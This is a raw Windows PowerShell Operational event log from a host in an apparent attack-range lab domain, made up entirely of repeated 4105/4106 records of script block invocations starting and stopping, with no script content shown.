LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647420
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647419
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647418
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647417
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647436
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647435
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647434
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647433
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647432
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647431
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647430
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647429
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647428
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647427
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647446
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647445
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647444
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647443
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647442
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647441
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647440
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647439
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647438
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647437
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647456
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647455
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647454
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647453
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647452
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647451
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647450
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647449
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647448
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647447
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647466
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647465
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647464
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647463
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647462
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647461
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647460
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647459
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647458
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647457
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647476
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647475
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647474
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647473
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647472
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647471
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647470
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647469
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647468
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647467
Keywords=None
